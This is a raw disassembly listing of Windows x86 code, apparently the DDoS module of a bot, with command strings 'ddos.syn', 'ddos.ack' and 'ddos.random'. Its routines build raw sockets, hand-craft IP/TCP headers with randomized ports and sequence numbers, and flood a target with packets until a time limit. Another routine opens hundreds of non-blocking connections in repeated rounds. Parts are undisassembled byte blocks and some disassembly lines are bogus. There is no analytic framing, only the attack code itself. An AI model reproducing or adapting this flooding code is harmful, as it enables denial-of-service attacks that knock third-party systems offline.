		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_451594
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_413E21
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	ds:dword_4514D4
		cmp	eax, 0FFFFFFFFh
		jz	loc_413E17
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	ds:dword_4514F4
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	ds:dword_4514F4
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	ds:dword_4514F4
		mov	[ebp-12h], ax
		call	sub_41DBA0
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_4514F4
		push	12345678h
		mov	[ebp-14h], ax
		call	ds:dword_4514F0
		push	offset aDdos_syn_0 ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C06
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_413C5A
; ---------------------------------------------------------------------------


loc_413C06:				; CODE XREF: seg000:00413BFBj
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C22
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_413C5A
; ---------------------------------------------------------------------------


loc_413C22:				; CODE XREF: seg000:00413C17j
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C5A
		call	sub_41DBA0
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_41DBA0


loc_413C48:				; CODE XREF: seg000:00413C83j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_413C5A:				; CODE XREF: seg000:00413C04j
					; seg000:00413C20j ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	ds:dword_4514F4
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 3D0000h
		adc	ecx, [ebp-17AF1BBBh]
		jns	short loc_413C48
		sti
; ---------------------------------------------------------------------------
		dw 0EEFFh
		dd 8BBC75FFh, 0FF991845h, 5052B875h, 0C6E7E8h, 0E4450300h
		dd 135E146Ah, 4589E855h, 0C85589C4h, 0FC5D8966h, 9EEFE8h
		dd 0E9B99900h, 0F7000003h, 0E8C281F9h, 52000003h, 14F415FFh
		dd 89660045h, 0D1E8EC45h, 8B00009Eh, 10E7C1F8h,	9EC7E8h
		dd 57F80B00h, 14F415FFh, 0B70F0045h, 0F04589C0h, 0FF0C458Bh
		dd 0FF500C45h, 4514F015h, 0D8458900h, 56DC458Bh, 888C4589h
		dd 45C6905Dh, 15FF0691h, 4514F4h, 92458966h, 89D8458Bh
		dd 458D8845h, 50206A88h, 0FF4C858Dh, 0E850FFFFh, 0AB18h
		dd 56EC458Dh, 6C858D50h, 50FFFFFFh, 0AB07E8h, 4C858D00h
		dd 6AFFFFFFh, 29E85034h, 66FFFEE9h, 8DFC4589h, 5056CC45h
		dd 0FF4C858Dh, 0E850FFFFh, 0AAE4h, 56EC458Dh, 60858D50h
		dd 50FFFFFFh, 0AAD3E8h,	8D046A00h, 0FFFF7485h, 0E85053FFh
		dd 9384h, 8D44C483h, 0FFFF4C85h, 50286AFFh, 0FEE8E3E8h
		dd 458966FFh, 0CC458DD6h, 858D5056h, 0FFFFFF4Ch, 0AA9EE850h
		dd 0C4830000h, 0A8458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh
		dd 0E075FF50h, 155415FFh, 0F8830045h, 12874FFh,	458D1045h
		dd 31E850E4h, 0A7FFFBC2h, 3BE8458Bh, 3C7FC845h,	0FECA8C0Fh
		dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h, 0FFFFFFFEh, 45148815h
		dd 858D5000h, 0FFFFFF0Ch, 44BC6068h, 5DE85000h,	8D000094h
		dd 0FFFF0C85h, 98E850FFh, 83000023h, 3EB10C4h
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+10h]


loc_413E17:				; CODE XREF: seg000:00413B6Ej
		push	dword ptr [ebp-20h]
		call	ds:dword_451588
		pop	esi


loc_413E21:				; CODE XREF: seg000:00413B51j
		call	ds:dword_45144C
		mov	eax, ebx


loc_413E29:				; CODE XREF: seg000:00413B31j
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_4024FB
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41D560
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41D560
		mov	edi, eax
		call	sub_41DBA0
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_413AF6
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413E7C
		push	1
		pop	eax


loc_413E7C:				; CODE XREF: seg000:00413E77j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413E8B	db 55h			; DATA XREF: seg000:004065F8o
		dd 0EC81EC8Bh, 3BCh, 458B5653h,	686A5708h, 8D59F08Bh, 0FFFE44BDh
		dd 5B016AFFh, 0FF68h, 0F3036A00h, 89026AA5h, 19C98h, 7015FF00h
		dd 83004515h, 4589FFF8h, 0FF5F75FCh, 45148815h,	858D5000h
		dd 0FFFFFC44h, 44BC9468h, 81E85000h, 33000093h,	0CC483FFh
		dd 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh,	0FF48858Dh
		dd 0FF50FFFFh, 0FFFE44B5h, 0D557E8FFh, 0C483FFFEh, 44858D14h
		dd 50FFFFFCh, 2292E8h, 0C875FF00h, 0FF513EE8h, 575959FFh
		dd 0FBC0DBE8h, 4D8D4EFFh, 51046AF4h, 26AFF33h, 5D895057h
		dd 0D415FFF4h, 83004514h, 5D75FFF8h, 148815FFh,	8D500045h
		dd 0FFFC4485h, 0BCD468FFh, 0E8500044h, 9308h, 390CC483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FED4E0E8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 221Bh, 0E8C875FFh, 0FFFF50C7h, 0E8575959h
		dd 0FFFBC064h, 48858DF8h, 50FFFFFEh, 153015FFh,	0F8830045h
		dd 8D5575FFh, 0FFFC4485h, 0BD1868FFh, 0E8500044h, 92A0h
		dd 59DC7D39h, 57207559h, 0FC44858Dh, 75FFFFFFh,	858D50D8h
		dd 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFED479h, 8D14C483h
		dd 0FFFC4485h, 0B4E850FFh, 0FF000021h, 60E8C875h, 59FFFF50h
		dd 0FDE85759h, 9EFFFBBFh, 458D106Ah, 0E85057E4h, 90F0h
		dd 660CC483h, 2E445C7h,	15FF5700h, 4514F4h, 0E6458966h
		dd 0FE48858Dh, 0FF50FFFFh, 45153015h, 40358B00h, 89004F13h
		dd 7D89E845h, 89D6FF08h, 0D6FFF845h, 33F8452Bh,	3E8B9D2h
		dd 0F1F70000h, 0FD0453Bh, 19487h, 41C6800h, 5C60000h, 4E2680h
		dd 0F415FF45h, 39004514h, 0A366D47Dh, 4E2682h, 841D8966h
		dd 66004E26h, 26863D89h, 5C6004Eh, 4E2688h, 891D8880h
		dd 66004E26h, 268A3D89h, 3074004Eh, 9B03E8h, 0C1D88B00h
		dd 0F9E808E3h, 300009Ah, 8E3C1D8h, 9AEFE8h, 0C1D80300h
		dd 0E5E808E3h, 300009Ah, 89016AD8h, 4E268C1Dh, 18EB5B00h
		dd 0FE44B5FFh, 44E8FFFFh, 59FFFEE5h, 3015FF50h,	0A3004515h
		dd 4E268Ch, 0A3E8458Bh,	4E2690h, 9AB3E8h, 0B99900h, 0F7000001h
		dd 941588F9h, 0E8004E26h, 9AA0h, 100B999h, 0F9F70000h
		dd 26951588h, 8DE8004Eh, 9900009Ah, 0F0B9h, 4006800h, 0F9F70000h
		dd 963D8966h, 66004E26h, 269A1D89h, 6642004Eh, 26981589h
		dd 65E8004Eh, 9900009Ah, 0FFB9h, 52F9F700h, 4E269C68h
		dd 8FB2E800h, 0C4830000h, 0E4458D0Ch, 5750106Ah, 41C68h
		dd 26806800h, 75FF004Eh, 5415FFFCh, 83004515h, 874FFF8h
		dd 0E90845FFh, 0FFFFFECAh, 0FFFC75FFh, 45158815h, 8815FF00h
		dd 50004514h, 0FE48858Dh, 75FFFFFFh, 4C685008h,	8D0044BDh
		dd 0FFFC4485h, 20068FFh, 0E8500000h, 91B8h, 3918C483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FED290E8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 1FCBh, 0E8C875FFh, 0FFFF4E77h, 0E8575959h
		dd 0FFFBBE14h, 0FC75FF86h, 158815FFh, 458B0045h, 6BD23308h
		dd 0C88B3CC0h, 0F70AE8C1h, 0E9C1D075h, 8D505114h, 0FFFE4885h
		dd 875FFFFh, 0C8858D50h, 50FFFFFEh, 0FC44858Dh,	0A868FFFFh
		dd 500044BDh, 9033E8h, 1CC48300h, 75DC7D39h, 858D5720h
		dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h
		dd 0D20BE8FFh, 0C483FFFEh, 44858D14h, 50FFFFFCh, 1F46E8h
		dd 0C875FF00h, 0FF4DF2E8h, 575959FFh, 0FBBD8FE8h
		db 0FFh, 0Eh
word_414272	dw 8B55h		; DATA XREF: seg000:0040585Eo
		dd 320B8ECh, 31E80001h,	8B00009Ch, 56530845h, 8B496A57h
		dd 0BD8D59F0h, 0FFFFFEBCh, 16AA5F3h, 20B8895Fh,	0FF000001h
		dd 45147C15h, 8458900h,	0FF40858Dh, 0FF50FFFFh,	45153015h
		dd 33F08B00h, 83C033DBh, 1175FFFEh, 0FF40858Dh,	0FF50FFFFh
		dd 45157415h, 74C33B00h, 87D8306h, 8D5D75FFh, 0FFFF4085h
		dd 858D50FFh, 0FFFFFCBCh, 44BE0868h, 75E85000h,	8300008Fh
		dd 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh,	858D50D4h
		dd 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFED14Dh, 8D14C483h
		dd 0FFFCBC85h, 88E850FFh, 0FF00001Eh, 34E8D075h, 59FFFF4Dh
		dd 0D1E85759h, 49FFFBBCh, 0C74C33Bh, 8B0C408Bh,	89008B00h
		dd 3EBFC45h, 6AFC7589h,	0E0458D1Ch, 0B1E85053h,	8300008Dh
		dd 0B8FFE84Dh, 0FFDCh, 390CC483h, 37EC445h, 39C44589h
		dd 37DC87Dh, 33C87D89h,	0C05D39F6h, 75FF267Eh, 0E0458DC8h
		dd 53501C6Ah, 0FCE0858Dh, 75FFFFFEh, 75FF50C4h,	875FFFCh
		dd 141015FFh, 3B460045h, 0DA7CC075h, 0FF0875FFh, 4515A815h
		dd 40858D00h, 50FFFFFFh, 0FCBC858Dh, 4868FFFFh,	500044BEh
		dd 8EA7E8h, 0CC48300h, 75D85D39h, 858D5320h, 0FFFFFCBCh
		dd 50D475FFh, 0FEC0858Dh, 0FF50FFFFh, 0FFFEBCB5h, 0D07FE8FFh
		dd 0C483FFFEh, 0BC858D14h, 50FFFFFCh, 1DBAE8h, 0D075FF00h
		dd 0FF4C66E8h, 535959FFh, 0FBBC03E8h
		db 0FFh, 9Ch
word_4143FE	dw 8B55h		; DATA XREF: seg000:004059A5o
dword_414400	dd 310B8ECh, 0A5E80001h, 8B00009Ah, 56530845h, 8B496A57h
		dd 0BD8D59F0h, 0FFFFFECCh, 16AA5F3h, 20B0895Eh,	0FF000001h
		dd 4F134015h, 5DE85000h, 59000097h, 26A116Ah, 15FF026Ah
		dd 451570h, 0FF33D88Bh,	458D106Ah, 0E85057F0h, 8CB0h, 8D0CC483h
		dd 0FFFF5085h, 45C766FFh, 500002F0h, 153015FFh,	0F8830045h
		dd 84589FFh, 858D7575h,	0FFFFFF50h, 7415FF50h, 3B004515h
		dd 8D5D75C7h, 0FFFF5085h, 858D50FFh, 0FFFFFCCCh, 44BE8C68h
		dd 0C9E85000h, 8300008Dh, 7D390CC4h, 572075E8h,	0FCCC858Dh
		dd 75FFFFFFh, 858D50E4h, 0FFFFFED0h, 0CCB5FF50h, 0E8FFFFFEh
		dd 0FFFECFA1h, 8D14C483h, 0FFFCCC85h, 0DCE850FFh, 0FF00001Ch
		dd 88E8E075h, 59FFFF4Bh, 25E85659h, 3FFFFBBBh, 8B0C408Bh
		dd 8D03EB00h, 8B0845h, 89DC7D39h, 1175F445h, 96ABE8h, 0DCB99900h
		dd 0F70000FFh, 0EB5242F9h, 0DC75FF03h, 14F415FFh, 75390045h
		dd 458966DCh, 89037DF2h, 0FFB8DC75h, 390000FFh,	37EDC45h
		dd 8BDC4589h, 0A6AD045h, 0F9F75999h, 89D87D39h,	375D045h
		dd 33D87589h, 0D47D39F6h, 5DE81A7Eh, 99000096h,	0FFB9h
		dd 46F9F700h, 88D4753Bh, 0FCEF3594h, 0E67CFFFEh, 0FFD0458Bh
		dd 0C085D04Dh, 0B6A557Eh, 0F0458D5Eh, 5750106Ah, 962FE8h
		dd 990A6A00h, 8BF9F759h, 0C22BD445h, 0F0858D50h, 50FFFEFCh
		dd 5415FF53h, 0FF004515h, 15FFD875h, 4F12F4h, 39CE754Eh
		dd 0BC75DC7Dh, 95FFE8h,	0DCB99900h, 0F70000FFh,	0FF5242F9h
		dd 4514F415h, 45896600h, 8DA1EBF2h, 0FFFF5085h,	858D50FFh
		dd 0FFFFFCCCh, 44BECC68h, 91E85000h, 8300008Ch,	7D390CC4h
		dd 572075E8h, 0FCCC858Dh, 75FFFFFFh, 858D50E4h,	0FFFFFED0h
		dd 0CCB5FF50h, 0E8FFFFFEh, 0FFFECE69h, 8D14C483h, 0FFFCCC85h
		dd 0A4E850FFh, 0FF00001Bh, 50E8E075h, 59FFFF4Ah, 0EDE85759h
		dd 68FFFBB9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp-214h]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp-110h]
		push	eax
		lea	eax, [ebp-190h]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		call	sub_414772
		push	eax
		lea	eax, [ebp-414h]
		push	offset unk_44BF10
		push	eax
		call	sub_41D260
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp-8], esi
		jnz	short loc_414691
		push	esi
		lea	eax, [ebp-414h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		push	dword ptr [ebp-214h]
		call	sub_40145D
		add	esp, 14h


loc_414691:				; CODE XREF: seg000:0041466Fj
		lea	eax, [ebp-414h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-10h]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		into
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146B0	proc near		; CODE XREF: sub_414772+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	ds:dword_4514F4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41476E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_4146FB:				; CODE XREF: sub_4146B0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_414703:				; CODE XREF: sub_4146B0+7Aj
		push	0
		push	1
		push	2
		call	ds:dword_4F14E4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_414726
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_4F14C0	; ioctlsocket


loc_414726:				; CODE XREF: sub_4146B0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_414703
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_414734:				; CODE XREF: sub_4146B0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4F14B4	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_414734
		push	64h
		call	ds:dword_4F12F4	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_414758:				; CODE XREF: sub_4146B0+B4j
		push	dword ptr [esi]
		call	ds:dword_4F14D0	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_414758
		dec	[ebp+arg_4]
		jnz	short loc_4146FB
		pop	edi
		pop	esi
		pop	ebx


loc_41476E:				; CODE XREF: sub_4146B0+3Ej
		xor	eax, eax
		leave
		retn
sub_4146B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414772	proc near		; CODE XREF: seg000:00414650p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_4024FB
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41D560
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41D560
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4146B0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4147A8
		push	1
		pop	eax


loc_4147A8:				; CODE XREF: sub_414772+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_414772	endp

; ---------------------------------------------------------------------------
byte_4147B7	db 55h			; DATA XREF: seg000:00406301o
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 30Dh
		dd 0EC858D50h, 68FFFFFBh, 44BF54h, 8A56E850h, 0F6330000h
		dd 3918C483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h
		dd 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FECC2CE8h, 14C483FFh
		dd 0FBEC858Dh, 0E850FFFFh, 1967h, 0E8F075FFh, 0FFFF4813h
		dd 0E8565959h, 0FFFBB7B0h
		db 7Dh,	5Fh, 5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414853	proc near		; CODE XREF: seg000:00414B41p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_451464
		test	eax, eax
		jz	short loc_414893
		xor	eax, eax
		jmp	loc_414B01
; ---------------------------------------------------------------------------


loc_414893:				; CODE XREF: sub_414853+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_451594
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_414AF9
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_4514D4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414AEF
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_50], 2


loc_4148E6:				; CODE XREF: sub_414853+104j
		push	[ebp+arg_8]
		call	ds:dword_4514F4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_4514F4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_4514F4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_4514F4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 3D0000h
		js	short loc_4148E6
		inc	ebp
		clc
		push	eax
		call	near ptr 3D0000h
		push	dword ptr es:[ebp-3Ch]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_420380
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_41497E:				; CODE XREF: sub_414853+25Dj
					; sub_414853+26Bj
		mov	[ebp+var_24], bx
		call	sub_41DBA0
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_4514F4
		mov	[ebp+var_34], ax
		call	sub_41DBA0
		mov	edi, eax
		shl	edi, 10h
		call	sub_41DBA0
		or	edi, eax
		push	edi
		call	ds:dword_4514F4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_4514F0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_4514F4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_402670
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41E840
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_402670
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41E840
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	ds:dword_451554
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414AC3
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 3D0000h
		fmul	dword ptr [ebx-39C403BBh]
		jg	short loc_414AEC
		jl	loc_41497E
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414AEC
		jmp	loc_41497E
; ---------------------------------------------------------------------------


loc_414AC3:				; CODE XREF: sub_414853+247j
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_44BF94
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4161A7
		add	esp, 10h
		jmp	short loc_414AEF
; ---------------------------------------------------------------------------


loc_414AEC:				; CODE XREF: sub_414853+25Bj
					; sub_414853+269j
		mov	ebx, [ebp+arg_8]


loc_414AEF:				; CODE XREF: sub_414853+78j
					; sub_414853+297j
		push	[ebp+var_C]
		call	ds:dword_451588
		pop	esi


loc_414AF9:				; CODE XREF: sub_414853+5Bj
		call	ds:dword_45144C
		mov	eax, ebx


loc_414B01:				; CODE XREF: sub_414853+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_414853	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_4024FB
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41D560
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41D560
		mov	edi, eax
		call	sub_41DBA0
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_414853
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414B50
		push	1
		pop	eax


loc_414B50:				; CODE XREF: seg000:00414B4Bj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-194h]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp-110h]
		push	eax
		call	sub_41D560
		pop	ecx
		push	eax
		lea	eax, [ebp-190h]
		push	eax
		call	ds:dword_451530
		push	eax
		call	sub_414C00
		push	eax
		lea	eax, [ebp-394h]
		push	offset unk_44BFC8
		push	eax
		call	sub_41D260
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp-8], esi
		jnz	short loc_414BE1
		push	esi
		lea	eax, [ebp-394h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		push	dword ptr [ebp-194h]
		call	sub_40145D
		add	esp, 14h


loc_414BE1:				; CODE XREF: seg000:00414BBFj
		lea	eax, [ebp-394h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-10h]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		test	[edi+5Eh], bl

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C00	proc near		; CODE XREF: seg000:00414BA0p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
